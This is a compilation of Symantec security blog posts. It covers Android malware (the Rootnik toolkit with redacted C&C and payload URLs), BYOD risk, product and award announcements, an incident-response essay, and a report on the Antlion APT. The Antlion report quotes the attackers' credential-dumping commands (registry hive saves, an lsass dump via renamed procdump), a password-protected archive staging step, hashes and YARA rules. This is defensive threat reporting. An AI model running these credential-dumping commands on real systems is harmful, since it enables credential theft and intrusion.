uber://?action=setPickup&pickup=my_location
Figure 3 illustrates the code snippet of the malware that fires the VIEW intent with the Ride Request deep link URI after exfiltrating the Uber credentials to its remote server.
Figure 3. Malware code firing the VIEW intent with the deep link URI for Ride Requests
This case again demonstrates malware authors’ neverending quest for finding new social engineering techniques to trick and steal from unwitting users.
Mitigation
Symantec recommends users follow these best practices to stay protected from mobile threats:
Keep your software up to date
Refrain from downloading apps from unfamiliar sites and only install apps from trusted sources
Pay close attention to the permissions requested by apps
Install a suitable mobile security app, such as Norton, to protect your device and data
Make frequent backups of important data
Protection
Symantec and Norton products detect the threat discussed in this blog as Android.Fakeapp.
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Android Malware Toolkit Poses as Porn Apps Targeting Chinese-speaking Users
Symantec has discovered a malicious toolkit disguised as porn apps available on app-centric sites, forums, torrent sites, and popular social networks.
We recently discovered a malicious toolkit (detected as Android.Rootnik.B) masquerading as pornographic apps in the thousands, which are primarily targeted at Chinese-speaking users. This toolkit has a broad range of capabilities, including:
Rooting Android devices
Injecting malicious code into legitimate apps
Subscribing to premium services and sending premium messages
Silently downloading/installing risky apps
The apps find their way onto devices via app-centric websites, forums, and torrent sites. These can also spread over popular social messaging networks.
Figure 1. Samples of malicious porn app ads found on Chinese websites
Infection vector
This malware hides its primary malicious payload in a fake .tiff image in the resources of the application. The payload downloads other malicious components from a set of helper web servers. The malware sets immutable flags (a technique laid out in a previous blog) to protect the files from being deleted by a savvy user or an antivirus application.
The threat also attempts to replace debuggerd, a key service that enables it to survive cleaning attempts by antivirus applications, or even more aggressive cleaning measures such as a factory reset.
Rooting workflow
The malware decrypts and dynamically loads the hidden payload (detected as Android.Reputation.1). It decrypts the following command and control (C&C) URLs and queries them to get root-relevant configurations:
http://gr.[REMOVED].pw:[REMOVED]/kitmain.aspx
http://gr.[REMOVED].top:[REMOVED] /kitmain.aspx
http://43.[REMOVED].68.193:[REMOVED]/kitmain.aspx
http://nr.[REMOVED].com:[REMOVED]/kitmain.aspx
http://nr.[REMOVED].com:[REMOVED]/kitmain.aspx
The following is a sample response that tells the malware where to download the rootkits, when to start a root attempt, how many retry attempts to make if the attempt fails, and the metadata for the rootkit itself:
Figure 2. Sample response from C&C servers
Malware injection mechanisms
After gaining root privileges, the malware selects a good candidate process (such as a system process or an app-store process) into which it can inject malicious code.
The injected code launches a UNIX domain server socket, and listens for commands to trigger methods. Any malicious client entity (an app on the device) can now command the infected process to carry out malicious activities on its behalf, including sending premium-rate messages.
Other capabilities
The malware also silently downloads and installs a known malicious app named ister59.apk (detected as Android.Reputation.3) from the following URL:
http://1jope[REMOVED].com/ister59.apk?attname[REMOVED]1508999147941
It can download and dynamically load other payloads from the following URLs without the user’s consent:
http://vpay.[REMOVED].eerichina.com/[REMOVED]/19c32fb8ebc57b6e.jar
http://120.[REMOVED].154.102:[REMOVED]/plugin_VA5.1.1.jar
Moreover, it subscribes to premium services and sends premium text messages. It requests ads and pushes other malicious apps.
Affected platform versions
All devices with Android API level 8 (2.2) or greater are affected.
Even if some devices with higher platform versions cannot be rooted, the malware still sends premium-rate messages. In this case, the malware falls back to premium-rate scamming, as it cannot inject or install malware.
Furthermore, the malware code is highly modularized, which means it can be easily repackaged into any other popular apps. In addition, the malware is protected by a private packer, as outlined in a previous post. The malicious code is obfuscated and the key strings are encrypted, thwarting base-level forms of static analysis and detection.
Mitigation
Symantec recommends mobile users observe the following security best practices:
Keep your software up to date.
Refrain from downloading apps from unfamiliar sites.
Only install apps from trusted sources.
Pay close attention to the permissions requested by an app.
Install a suitable mobile security app, such as Norton, in order to protect your device and data.
Make frequent backups of important data.
Protection
Symantec and Norton products detect the malware as well as related threats discussed in this blog as the following:
Android.Rootnik.B
Android.Reputation.1
Android.Reputation.3
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A New Security Worry Looms for Mobile Users
For security practitioners struggling to protect their organizations in the era of Bring Your Own Device, here’s one more item to add to a lengthy To-Do list
It’s been drummed into employees’ heads not to download apps from unvetted 3rd party sites - and for good reason: attackers infest fly-by-night websites offering cheap or free app downloads. But even when users do everything by the book, don’t assume the story will end on a happy note.
Both the Google and Apple app stores take extra measures to vet 3rd party apps submitted for inclusion. Yet, there are several instances in which existing safeguards failed to block malware-laden apps from getting uploaded.
It doesn’t happen all the time but just enough to make news.
For instance, Symantec recently discovered the presence of 38 malicious applications in the Google Play Store disguised as games and education apps. The app authors were ingenious about disguising their existence on victims’ devices, removing their icons from the home screen. They redirected victims to install another app on the Google Play Store that displayed advertisements, and had minimal additional functionality.
When Android app stores got flooded with 1,000 spyware apps last summer, malware marketed as a messaging application actually performed the advertised messaging function so as not to arouse user suspicions. That was a pretext to then allow the download to transfer user data to a command and control server.
For security practitioners struggling to protect their organizations in the era of Bring Your Own Device (BYOD), it’s yet another item to add to an already lengthy To-Do list.
A company that does not understand that users will continue to download and install personal apps onto the same devices they use for business is burying its head in the sand.
“Google occasionally reports how many malicious apps have been removed from Google Play, so this clearly does happen, and people an easily become victims. This happens less frequently on Apple’s App Store, but it is not unheard of,” said Symantec Mobile Security Specialist, Brian Duckering. “Apps can get on people’s devices in a variety of ways, so malware does not only come from the primary app stores."
Security executives obviously can’t control what goes on all of their employees’ mobile devices. BYOD is now part of the contemporary work culture and employees regularly use their own personal devices for work. But these “dual-use” - personal and professional - are a constant source of concern for IT managers who are already scrambling to stem the advance of mobile malware.
Last year, for instance, saw a 54% uptick in the number of new malware variants, according to the 2018 Symantec Internet Security Threat Report. As the ISTR notes, it’s not just the volume of malware that’s increasing: Attackers have developed new methods of infection and tricks to remain on compromised devices as long as possible. And they are targeting app download sites as part of that campaign.
Not only have mobile attackers gotten very creative with their tactics, they’ve been able to fool even smart and security-conscious people to unknowingly take actions that wind up exposing their organizations’ security, according to Duckering.
“A company that does not understand that users will continue to download and install personal apps onto the same devices they use for business is burying its head in the sand,” Duckering said. “The right approach to security must take that into account so that the company can protect sensitive data in spite of these activities.”
There’s no foolproof defense. As always, it boils down to a balanced combination of data gathering, machine learning, and human expertise, all with a focus on app behavior.
At the same time, user education should focus on minimizing the threats posed to mobile users. Education should stress the importance of only installing apps from the primary app stores, and not to click on untrusted links or approve device permissions and accesses without good reason.
Other precautions should include:
Keeping your software up to date
Never patronize unfamiliar sites
Only installing apps from trusted sources
Paying close attention to the permissions requested by apps
Installing a suitable mobile security app, such as Norton or SEP Mobile, to protect your device and data
Making frequent backups of important data
If you found this information useful, you may also enjoy:
Symantec Mobile Insight
No Rest for the Weary: Mobile Hackers are Getting More Aggressive
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A New Way to Secure Your Cloud Resources
Meet Symantec Secure Access Cloud, the solution for data protection in the post-walled castle era
Digital transformation and cloud adoption aren’t hollow buzzwords for enterprises and software vendors.
Competing in an increasingly demanding business environment, these companies can’t afford to get bogged down by traditional “legacy” IT environments, where processes and infrastructure consume vast amounts of time and resources. That’s why many businesses have decided to leverage cloud infrastructures. Not only does the cloud allow for greater flexibility but it also helps reduce the capital requirement needed to deliver new services to customers.
However, new cloud paradigms also present new security challenges.
Organizations once could protect their services, applications and data simply by deploying firewalls, VPN solutions and appliance-based Intrusion Detection and Intrusion Prevention systems in conjunction with network traffic analysis. In the pre-cloud era, everything was centered inside of the company’s network perimeter with users, servers, applications - and virtually the entire security stack - all deployed inside corporate data centers. The challenge back then was relatively straightforward: build the strongest castle walls to prevent bad actors from entering while ensuring that legitimate users had access to the corporate resources that they needed.
One can no longer build a castle around services, applications and data.
Fast forward to the present where cloud adoption has rendered the walled castle approach completely irrelevant. One can no longer build a castle around services, applications and data. Instead of being isolated in a few centralized locations, information is spread out everywhere. You’ll find data stored in SaaS solutions, such as Office365, G-Suite and Salesforce. At the same time, corporate services and applications are moving to cloud-based data centers in AWS, Microsoft Azure or Google Cloud to allow faster time to market, better agility and improved customer service.
So how can you go about securing your resources and data in this new cloud paradigm? Symantec Secure Access Cloud helps you achieve just that.
What is Symantec Secure Access Cloud?
Secure Access Cloud is based on Symantec’s acquisition of Luminate Security and their innovative Software Defined Perimeter technology in February of 2019.
Secure Access Cloud provides secure, agentless access for any user, from any device to any corporate resource hosted in private, public or hybrid cloud environment without deploying and maintaining any appliances in the data center or agents on the endpoint.
Based on the principles of Zero Trust Access and delivering a Software Defined Perimeter as a cloud native service, Secure Access Cloud provides:
True point-to-point application level connectivity between the users and the corporate resources, based on user identity, rather than on network topology for access to corporate resources. This removes the possibility of network level attacks such as EternalBlue, Bluekeep and others.
Full resource cloaking (both from the internet and the end user networks) reducing the chances of unauthorized access to corporate resources and data, as well as drastically reducing a network attacks surface of the corporate data centers.
Continuous enforcement of contextual access and activity policies, allowing the organization to define who has access, to what specific resources, under which conditions (such as location, device status – managed, unmanaged, compliant or not, MFA status and others) and which operations are these users are allowed to perform based on their context (file uploads, downloads, specific SSH commands allowed, etc.).
Example: a user accessing an application from a managed device can download any content, while a user accessing from an unmanaged device is not allowed to download or make changes to the content in the corporate resource hosted anywhere.
Complete audit trail of every user action performed (such as URIs accessed, SSH commands executed, files downloaded and others) for compliance and DFIR purposes.
Integrating Secure Access Cloud within the Symantec Integrated Cyber Defense Platform - only 3 months after the acquisition - Secure Access Cloud now provides native support for Symantec’s multi-factor authentication (Symantec VIP) for contextual and step-up MFA based on user, resource and activity context.
In addition, integrating Secure Access Cloud with Symantec CloudSOC CASB, DLP and Threat Protection solutions, Secure Access Cloud now extends the same set of DLP and Threat Protection policies already enforced in a customer’s on-premises and SaaS environments to any resource hosted in public, private or hybrid cloud environments.
But this rapid shift to the cloud also puts the onus on companies to batten down the hatches and make sure that their data is safe and secure.
Secure Access Cloud is already trusted by multiple Fortune 1000 companies providing secure, Zero-Trust access for employees, partners and contractors to corporate resources and data as well as innovative start-ups and technology companies, allowing secure DevOps access to the development, staging and production environments across multiple data centers, regions and cloud vendors.
The cloud computing era marks an exciting inflection point with the process of digitization remaking one industry after another. But this rapid shift to the cloud also puts the onus on companies to batten down the hatches and make sure that their data is safe and secure. But you don’t need to leave it to chance. Symantec Secure Access Cloud helps ensure that this transformation remains as safe as it is profitable.
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An IR Plea: Time for IT and InfoSec to Get on the Same Page
From the front lines of incident response, a call to bridge a growing gap that increasingly undermines good security
Earlier in my career in incident response, a colleague once decided (without prior approval) to test the security of a web-facing server owned by the company we worked for, and successfully executed a simple SQL injection attack. While not the best way to go about it - he really should have asked for permission - it was a prototypical “white hat” mission designed to find unknown holes in the network’s defense.
When he later informed IT how easy it was to access supposedly secure company records, the powers that be were not amused. He thought they would have thanked him, but the IT folks actually pushed hard to have him fired and or at least prosecuted. They were angry and embarrassed and were in no mood to understand how this faux “attack” might have actually helped make the company more secure.
My friend’s job was only saved when a subsequent forensic investigation, performed in response to his ‘test’, discovered that at least a couple of external bad actors had previously used similar techniques to penetrate the organization’s security and access the company’s data.
Organizational Disconnects
In a perfect world, the IT and Information Security sides of the house should be able to work hand-in-glove with each other to address security challenges while serving the needs of the business. There’s too much at stake binding them together - in theory. But conflicting priorities often get in the way of collaboration and the interaction can quickly turn rancorous.
While IT is focused on performance, reliability, and uptime, InfoSec is largely about locking down data and making sure that only a select number of authorized people can get their hands on closely-held information. These goals can sometimes be at cross purposes, and properly integrating solid security can cause delays in IT projects. In organizations with collaborative cultures, that seeming contradiction gets worked out. The two teams understand that if they’re not thinking about security, it raises the risk for everyone in the company (not to mention making the job of Incident Response that much more challenging.)
While IT is focused on performance, reliability, and uptime, InfoSec is largely about locking down data and making sure that only a select number of authorized people can get their hands on closely-held information.
However, when they instead wind up working at cross-purposes, InfoSec can forget about ever getting IT’s cooperation or agreement to hew to commonsense security guidelines. More likely, IT will just decide to go off on its own, leaving InfoSec in the dark about what they’re up to. The upshot: The two sides will be left to duke it out until someone higher up in the organization intervenes and imposes a cease-fire.
These organizational disconnects are widespread and getting more common at exactly the wrong time.
Run Silent, Run Deep
As security practitioners know, we’re in a constant arms race with cyber criminals who are now able to make use of increasingly sophisticated techniques to target their victims. What more, the bad guys keep shifting their penetration methods, adapting their attacks to counter new defenses that pop up.
As Symantec has documented elsewhere, many cyber criminals are making use of more unobtrusive techniques designed to stay under the radar. It’s the very opposite of ransomware. These attackers don’t want to draw attention. They seek to steal data through so-called “living off the land” tactics where they make use of tools already installed on targeted computers or run simple scripts and shellcode directly in memory.
Many months can go by before you even discover their presence in your environment - if they get noticed at all. It’s a brilliantly simple strategy where attackers are essentially hiding in plain sight by passing themselves off as legitimate, normal traffic. So, while everyone is looking for some proverbial big scary guy wearing a trench coat, it’s actually the (proverbial) receptionist carrying out the robbery.
The Challenge for Incident Response
An easy first step would be to encourage active logging and auditing of administrative activity, especially when it comes to monitoring PowerShell, now a favorite target for attackers. But unless you have a strong working relationship established, expect pushback from the IT side questioning why you want to audit them and poke around their systems. Again, a lot of ego flavors the conversation, and everything hinges on having a decent-enough relationship with the IT folks to get them on board.
I’ve also found that a lot of IT folks sometimes discount security protocols that the InfoSec team has put in place for a reason. But when IT is in a rush to finish a project and get something out the door, they may toss those security measures by the wayside and ask forgiveness later.
Unfortunately, that can result in serious mistakes and misconfigurations. I’ve seen easily-avoidable mistakes, like an active directory server winding up being internet-facing and later getting compromised. Somebody was in a hurry and just screwed up.
It’s also another reason why IT and InfoSec need to get on the same page. Even in the best of worlds, effective prevention, detection, and response to malicious actors is challenging. But any rift between these two key departments holds back effective responses to attacks and makes it painfully easy for cyber criminals to help themselves to a big payday.
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Announcing Full DLP integration into Chrome Enterprise Browser
Symantec DLP is now Chrome Enterprise Recommended
Symantec DLP is now Chrome Enterprise Recommended - this means our solution integrates with the Chrome Browser in a way that meets Google’s high technical standards. Chrome Enterprise Recommended is a program created to help enterprises find technologies that make working on the web and in the cloud even better. As part of this work, Symantec has jointly developed with Google a new Chrome API integration for Symantec Endpoint DLP so that Chrome users in a customer’s organization can now receive DLP protection.
Why is this important? Chrome has a well deserved reputation for speed, stability and security and customers want to ensure it fits into their wider security system, of which Symantec DLP is an important part. The new integration means that customers can apply DLP detection and protection policies directly into Chrome, eliminating any gaps in protection. Because this integration uses a Google supported interface, customers can be confident that whenever the Chrome browser or DLP Endpoint agent is updated, there will be no risk of instability. In addition, the Google interface allows DLP Endpoint to offer additional DLP controls that are not available with browser extensions.
The integration enables customers to:
Apply DLP monitoring and controls to file uploads
Monitor content being pasted into the browser (e.g. using Copy and Paste commands or shortcuts)
Control print actions taken in the browser
Whenever data triggers a DLP policy, corrective actions can be applied automatically (such as alerting the user or blocking the action).
The integration is open to all customers using Symantec Endpoint DLP 16.0.1 (Release Update 1) which has been available since early September. You can read more about the Release Update here.
You can find out more about our Chrome Enterprise Recommended solution and the integration in this blog written by the Chrome Enterprise team. You can also watch a video that describes the integration. We would like to thank the engineering and product team at Chrome Enterprise for their partnership in reaching this innovative milestone.
If you would like to find out more about the benefits this offers, please contact your Symantec account representative or authorized partner.
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Announcing the Symantec State and Local Cyber Challenge
In this first-ever nation-wide competition, state and local cyber security teams will test their responses to simulated cyber attack scenarios
This past February a Russian hacker simply known as Rasputin hacked 63 different organizations around the world. Among his hit list were 16 state and four city governments across the United States.
Analysts believe Rasputin picked his targets based on the “organization’s perceived investment and security controls and the respective compromised data value.” Or to put it in simpler terms: He wanted the most valuable data that was the easiest to steal.
His attack encapsulates the challenge facing state and local technology leaders. These governments store massive amounts of sensitive constituent data such as Social Security numbers, health care records and driver’s license numbers. The resources to protect that data, though, traditionally lag behind other sectors as state governments must build a workforce, integrate new technologies and fend off increasingly sophisticated attacks, all while facing extremely limited budgets.
It’s a battle Symantec wants to help fight.
This spring Symantec is inviting cyber security teams from state and local governments to take part in the State & Local Government Cyber Challenge. This two-day competition will be the first ever nation-wide competition among state and local cyber security teams.
While state and local cyber teams will be competing, the real goal of the competition is to help teams better understand the vulnerabilities associated with today’s global threat landscape, gain critical security intelligence and collaborate with other governments facing similar challenges.
Participating teams will:
Walk in an adversary’s footsteps to understand motivations
Understand the five stages of a cyber attack: reconnaissance, incursion, discovery, capture and exfiltration
Develop and practice offensive skills to aid in defense
Apply knowledge and experience to real-world problems
Expand their security awareness and build cyber skills while earning Continuing Education Credits
The event will be held March 8-9, and will allow teams to see how they handle pressure, learn where they can improve and be better prepared for the next attack. Symantec will provide teams with detailed preparation instructions after a team registers. Teams can consist of one to four participants and each must have a .gov or .org email address.
Register now and use the event key: statelocalcyber.
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Another Award Win Points to a Bigger Story at Symantec
For the 3rd straight year, Symantec has won the prestigious Best Protection Award from the AV-TEST Institute. It reflects our patient priority investing in proactive technologies
Good technology stops cyber attacks, not good marketing. And while many security products may look good on paper, it’s hard for an end-user to know what will truly work in the real world. That’s why there’s no substitute for independent third-party testing that conducts objective vetting. And it’s also why I’m especially proud to announce that Symantec has received the prestigious Best Protection Award from the AV-TEST Institute for the third straight year.
AV-TEST Institute functions as the equivalent of a consumer testing organization for the cyber security world. All of the products in this vetting were subjected to more than 1,000 live zero-day attacks delivered via infected websites and emails, and over 65,000 current and widespread threats. This is real-world testing, not laboratory mock-ups. That’s why it’s so important.
In real-world scenarios, customers regularly deal with entirely new threats they may have not previously encountered. Attackers change tactics frequently and they’re always trying to evade defensive measures that guard endpoints. All the more need, then, for an independent testing body like AV-TEST Institute to cut through the fluff and help organizations understand which solutions are detecting threats and which ones aren’t up to the job.
You can read the full announcement here but here is what you should know: Symantec was the only company that won the enterprise and consumer Best Protection Award across every platform tested, blocking each attempted attack, for three years straight. We ranked No. 1 for all four platforms tested – Norton Security, Symantec Endpoint Security, Symantec Endpoint Security Cloud, and Norton Mobile Security.
Getting There Before the Puck
Building great security technology is not easy. But Symantec can leverage its size and global reach to see what the attackers are doing and stay ahead of them. In hockey, this is called getting there before the puck. In cyber security, it’s called proactive technology.
Because so many new threats appear each day, Symantec has made a priority of investing in proactive technologies that stop threats without needing to know anything ahead of time about the particular nature of the threats. Instead of getting caught up in cat and mouse games, we look for new, non-traditional ways to defeat entire classes of attacks and significantly reduce the attack surface.
For example, our reputation-based machine learning technology blocks suspicious and unknown files by default, without needing to understand what the file looks like, its format, the attack technique, or any other information.
A more recent example of cutting off the means to attack is our new Proactive Exploit Protection. When we saw hackers increasingly finding new exploits, we invested in this new capability to generically block exploit attempts no matter which vulnerability they take advantage of. This means our products now have zero-day protection – they stop exploits of vulnerabilities that haven’t even been discovered yet.
It takes planning, time, and investment to build out the technologies and capabilities that keep us ahead of attackers. Deploying them quickly and safely is essential. But our efforts have come to fruition. Our protection is always where the puck is heading, not where it’s been. And that is how you win Best Protection three years in a row.
If you found this information useful, you may also enjoy:
Introducing Proactive Exploit Protection
https://community.norton.com/en/blogs/product-update-announcements/introducing-proactive-exploit-protection
Symantec Endpoint Protection
https://www.symantec.com/products/endpoint-protection
Symantec Endpoint Protection Cloud
https://www.symantec.com/products/endpoint-protection-cloud
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Antlion: Chinese APT Uses Custom Backdoor to Target Financial Institutions in Taiwan
The attackers spent a significant amount of time on victim networks.
Chinese state-backed advanced persistent threat (APT) group Antlion has been targeting financial institutions in Taiwan in a persistent campaign over the course of at least 18 months.
The attackers deployed a custom backdoor we have called xPack on compromised systems, which gave them extensive access to victim machines.
The backdoor allowed the attackers to run WMI commands remotely, while there is also evidence that they leveraged EternalBlue exploits in the backdoor. The attackers appeared to have the ability to interact with SMB shares, and it's possible that they used mounted shares over SMB to transfer files from attacker-controlled infrastructure. There is also evidence that the attackers were able to browse the web through the backdoor, likely using it as a proxy to mask their IP address.
The goal of this campaign appears to have been espionage, as we saw the attackers exfiltrating data and staging data for exfiltration from infected networks.
Technical details
As well as the attack on the financial institution outlined in the case study below, Antlion compromised the networks of at least two other organizations in Taiwan, including another financial organization and a manufacturing company. The activity the group carried out on those networks was largely similar to the activity that is detailed in the case study, with the xPack backdoor frequently deployed and a lot of evidence of credential dumping. In the manufacturing target, also, we see the attackers attempting to download malicious files via SMB shares.
The attackers also spent a significant amount of time on both these targeted networks, spending close to 250 days on the financial organization and around 175 days on the manufacturing organization.
Symantec, a division of Broadcom, cannot state with certainty what the initial infection vector used by the attackers in this campaign was, though in one instance they were seen utilizing the MSSQL service to execute system commands, which indicates that the most likely infection vector was exploitation of a web application or service. However, Antlion are also known to have previously used malicious emails to gain initial access to victim networks.
The main custom backdoor used by Antlion in this campaign was the xPack backdoor, which is a custom .NET loader that decrypts (AES), loads, and executes accompanying .bin files. Its decryption password is provided as a command-line argument (Base64 encoded string), and xPack is intended to be run as a standalone application or as a service (xPackSvc variant). The xPack malware and its associated payload seems to be used for initial access; it appears that xPack was predominantly used to execute system commands, drop subsequent malware and tools, and stage data for exfiltration. The attackers also used a custom keylogger and three custom loaders.
EHAGBPSL loader - custom loader written in C++ - loaded by JpgRun loader
JpgRun loader - customer loader written in C++ - similar to xPack, reads the decryption key and filename from the command line - decodes the file and executes it
CheckID - custom loader written in C++ - based on loader used by BlackHole RAT
The attackers also used a custom SMB session enumeration tool (NetSessionEnum), a custom bind/reverse file transfer tool named ENCODE MMC, and a Kerberos golden ticket tool based on Mimikatz.
The attackers also used a variety of off-the-shelf tools, as well as leveraging living-off-the-land tools such as PowerShell, WMIC, ProcDump, LSASS, and PsExec. The legitimate AnyDesk tool was also abused by the attackers for remote access in one of the victim organizations. The attackers were also observed leveraging exploits such as CVE-2019-1458 for privilege escalation and remote scheduled tasks to execute their backdoor. CVE-2019-1458 is an elevation-of-privilege vulnerability that occurs in Windows when the Win32k component fails to properly handle objects in memory.
Legitimate versions of WinRAR appear to have been exploited by the attackers for data exfiltration, while there is also evidence of data exfiltration via PowerShell, specifically using the BitsTransfer module to initiate an upload to attacker-controlled infrastructure. There is also evidence that the attackers likely automated the data collection process via batch scripts, while there is also evidence of instances where data was likely staged for further exfiltration, though it was not actually observed being exfiltrated from the network. In these instances, it appears the attackers were interested in collecting information from software pertaining to business contacts, investments, and smart card readers.
Case study: Attack on a financial organization
The attackers spent a significant amount of time on victims’ networks, and deployed both custom and off-the-shelf malware. In one financial sector victim in Taiwan the attackers spent almost nine months on the victim network.
The first suspicious activity on this victim network occurred in December 2020 when WMIC was used to execute two commands:
wmic process get CSName,Description,ExecutablePath,ProcessId /format:”;CSIDL_SYSTEM\wbem\zh-tw\htable.xsl”;
wmic os get name,version,InstallDate,LastBootUpTime,LocalDateTime,Manufacturer,RegisteredUser,ServicePackMajorVersion,SystemDirectory /format:”;CSIDL_SYSTEM\wbem\zh-tw\htable.xsl”;
The first command was used to list the computer name, description of processes, executable path, and process ID. The output was written to a suspicious file named htable.xsl under the wbem directory. The second command was used to collect information about the system, which was written out to the same file (htable.xsl). Information collected included:
Version of the operating system (OS)
The installation date
The last time the system was booted
The local date and time of the system
The manufacturer
The registered user
Service pack information - this can be used to determine what patches are installed
System directory path
Five minutes after those commands were issued, WMIC was used to dump credentials:
reg save HKLM\SAM CSIDL_COMMON_DOCUMENTS\sam.hiv
reg save HKLM\SYSTEM CSIDL_COMMON_DOCUMENTS\sys.hiv
reg save hklm\security CSIDL_COMMON_DOCUMENTS\security.hiv
The commands listed above were all executed via Antlion’s custom xPack backdoor.
Several days later, during the Christmas holiday period, the attackers returned over a period of a few days and executed the xPack backdoor again. They also executed an unknown VBS script via PsExec multiple times:
“;cscript.exe”; CSIDL_SYSTEM_DRIVE\update.vbs
On December 28, the attackers used xPack to launch a command prompt to dump credentials from several machines within the compromised organization with the following commands:
upload.exe -accepteula -ma lsass.exe 16.dmp (a renamed version of Sysinternals procdump64.exe)
reg save hklm\sam CSIDL_PROFILE\publicsam.hive
reg save hklm\system CSIDL_PROFILE\public\system.hive
reg save hklm\security CSIDL_PROFILE\public\security.hive
Over the following couple of weeks, the attackers continued to return intermittently to launch the xPack backdoor or to dump credentials via the registry. Then, following a few weeks of inactivity, they become active on the infected network once again.
The attackers used the xPack backdoor to launch a command prompt to execute the following commands:
“;cmd”; /K CHCP 950
CHCP 950
query user
“;CSIDL_SYSTEM\quser.exe”;
tasklist /v
findstr explorer
cmd /c dir “;CSIDL_PROFILE\desktop”;
CSIDL_SYSTEM\cmd.exe /c cmd /c dir \users /b
cmd /c dir “;CSIDL_PROFILE\desktop”;
cmd /c dir \users /b
reg save hklm\security CSIDL_COMMON_DOCUMENTS\security.hiv
rar a -r -hp1qaz@WSX3edc!@# W22-009-099.tmp “;CSIDL_COMMON_DOCUMENTS\w22-009-099_file”;
reg save hklm\system CSIDL_COMMON_DOCUMENTS\system.hiv
reg save hklm\sam CSIDL_COMMON_DOCUMENTS\sam.hiv
The above commands were used to firstly change the code page to 950, which is the Windows code page for Traditional Chinese. The attackers then executed 'query user' to list any logged-in users on the system, as well as running ‘tasklist’ to get a list of all the running processes on the system. They also tried to discover what processes were running, before listing all contents of the Desktop directory and the Users directory. After this, the attackers dumped credentials again via the registry.
The attackers returned to the network a couple of weeks later and carried out largely the same activity. The attackers remained active on the network for March, April, and May 2021, intermittently returning to launch their xPack backdoor or dump credentials from the registry. Dumping credentials appears to be a main focus of the attackers, with them likely using these credentials to move laterally across the network to identify machines of interest from which they can exfiltrate data.
The last activity on this network, after a gap of three months, occurred in August 2021, when the attackers returned and listed all available shares. They then dumped credentials from the registry and proceeded to collect account, group, and workstation configuration information.
They then dumped credentials from the registry once again. This was the last activity seen on this network.
Experienced actor stays active
Antlion is believed to have been involved in espionage activities since at least 2011, and this recent activity shows that it is still an actor to be aware of more than 10 years after it first appeared.
The length of time that Antlion was able to spend on victim networks is notable, with the group able to spend several months on victim networks, affording plenty of time to seek out and exfiltrate potentially sensitive information from infected organizations. The targeting of Taiwan is perhaps unsurprising given we know Chinese state-backed groups tend to be interested in organizations in that region.
Protection
For the latest protection updates, please visit the Symantec Protection Bulletin.
Indicators of Compromise (IOCs)
If an IOC is malicious and the file is available to us, Symantec Endpoint products will detect and block that file.
Type IOC Description
SHA2 85867a8b4de856a943dd5efaaf3b48aecd2082aa0ceba799df53ba479e4e81c5 checkID
SHA2 12425edb2c50eac79f06bf228cb2dd77bb1e847c4c4a2049c91e0c5b345df5f2 xPack
SHA2 e4a15537f767332a7ed08009f4e0c5a7b65e8cbd468eb81e3e20dc8dfc36aeed xPack
SHA2 e488f0015f14a0eff4b756d10f252aa419bc960050a53cc04699d5cc8df86c8a xPack
SHA2 9456d9a03f5084e44f8b3ad936b706a819ad1dd89e06ace612351b19685fef92 xPack
SHA2 730552898b4e99c7f8732a50ae7897fb5f83932d532a0b8151f3b9b13db7d73c xPack
SHA2 de9bd941e92284770b46f1d764905106f2c678013d3793014bdad7776540a451 xPack
SHA2 390460900c318a9a5c9026208f9486af58b149d2ba98069007218973a6b0df66 xPack
SHA2 4331d1610cdedba314fc71b6bed35fea03bc49241eb908a70265c004f5701a29 xPack
SHA2 9b5168a8f2950e43148fe47576ab3ac5b2cfa8817b124691c50d2c77207f6586 xPack
SHA2 a74cb0127a793a7f4a616613c5aae72142c1166f4bb113247e734f0efd48bdba xPack
SHA2 e5259b6527e8612f9fd9bba0b69920de3fd323a3711af39f2648686fa139bc38 xPack
SHA2 eb7a23136dc98715c0a3b88715aa7e936b88adab8ebae70253a5122b8a402df3 xPack
SHA2 789f0ec8e60fbc8645641a47bc821b11a4486f28892b6ce14f867a40247954ed Keylogger
SHA2 3db621cac1d026714356501f558b1847212c91169314c1d43bfc3a4798467d0d Keylogger
SHA2 443f4572ed2aec06d9fb3a190de21bfced37c0cd2ee03dd48a0a7be762858925 JpgRun
SHA2 f4534e04caced1243bd7a9ce7b3cd343bf8f558982cbabff93fa2796233fe929 JpgRun
SHA2 e968e0d7e62fbc36ad95bc7b140cf7c32cd0f02fd6f4f914eeb7c7b87528cfe2 EHAGBPSL
SHA2 0bbb477c1840e4a00d0b6cd3bd8121b23e1ce03a5ad738e9aa0e5e0b2e1e1fea EHAGBPSL
SHA2 55636c8a0baa9b57e52728c12dd969817815ba88ec8c8985bd20f23acd7f0537 EHAGBPSL
SHA2 2a541a06929dd7d18ddbae2cb23d5455d0666af7bdcdf45b498d1130a8434632 EHAGBPSL
SHA2 85867a8b4de856a943dd5efaaf3b48aecd2082aa0ceba799df53ba479e4e81c5 checkID
SHA2 29d7b82f9ae7fa0dbaf2d18c4d38d18028d652ed1ccc0846e8c781b4015b5f78 checkID
SHA2 f7cab241dac6e7db9369a4b85bd52904022055111be2fc413661239c3c64af3d checkID
SHA2 2aa52776965b37668887a53dcd2374fc2460293b73c897de5d389b672e1313ff checkID
SHA2 79a37464d889b41b7ea0a968d3e15e8923a4c0889f61410b94f5d02458cb9eed checkID
SHA2 48d41507f5fc40a310fcd9148b790c29aeb9458ff45f789d091a9af114f26f43 NetSessionEnum
SHA2 f01a4841f022e96a5af613eb76c6b72293400e52787ab228e0abb862e5a86874 MMC
SHA2 e1a0c593c83e0b8873278fabceff6d772eeaaac96d10aba31fcf3992bc1410e5 MMC
SHA2 dfee6b3262e43d85f20f4ce2dfb69a8d0603bb261fb3dfa0b934543754d5128b Mimikatz
Yara Rules
rule xpack_loader
{
meta:
author = "Symantec, a division of Broadcom"
hash = "12425edb2c50eac79f06bf228cb2dd77bb1e847c4c4a2049c91e0c5b345df5f2"
strings:
$s1 = "Length or Hash destoryed" wide fullword
$s2 = "tag unmatched" wide fullword
$s3 = "File size mismatch" wide fullword
$s4 = "DESFile" wide fullword
$p1 = "fomsal.Properties.Resources.resources" wide fullword
$p2 = "xPack.Properties.Resources.resources" wide fullword
$p3 = "foslta.Properties.Resources.resources" wide fullword
condition:
uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550 and (2 of ($s*) or any of ($p*))
}
rule xpack_service
{
meta:
author = "Symantec, a division of Broadcom"
hash = "390460900c318a9a5c9026208f9486af58b149d2ba98069007218973a6b0df66"
strings:
$s1 = "C:\\Windows\\inf\\wdnvsc.inf" wide fullword
$s2 = "PackService" wide fullword
$s3 = "xPackSvc" wide fullword
$s4 = "eG#!&5h8V$" wide fullword
condition:
uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550 and 3 of them
}
